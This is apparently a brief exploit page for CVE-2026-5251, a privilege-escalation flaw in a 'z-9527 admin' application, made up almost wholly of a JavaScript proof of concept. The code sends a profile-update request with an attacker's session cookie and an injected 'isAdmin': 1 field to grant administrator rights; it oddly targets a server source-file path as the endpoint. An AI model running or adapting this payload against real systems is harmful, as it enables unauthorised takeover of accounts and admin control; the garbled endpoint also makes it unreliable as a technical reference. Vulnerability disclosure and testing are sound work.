CVE-2026-5251 z-9527 admin 权限提升漏洞

// PoC for CVE-2026-5251: z-9527 admin Privilege Escalation // Target: User Update Endpoint (/server/routes/user.js) // The attacker sends a request to update their own profile // with the 'isAdmin' parameter injected. fetch('http://target-domain.com/server/routes/user.js', { method: 'POST', // Method may vary based on implementation (PUT/POST) headers: { 'Content-Type': 'application/json', 'Cookie': 'session_id=attacker_session_cookie' // Valid session required (PR:L) }, body: JSON.stringify({ "username": "victim_user", "email": "[email protected]", "isAdmin": 1 // Malicious payload to escalate privileges }) }).then(response => response.text()) .then(data => console.log(data));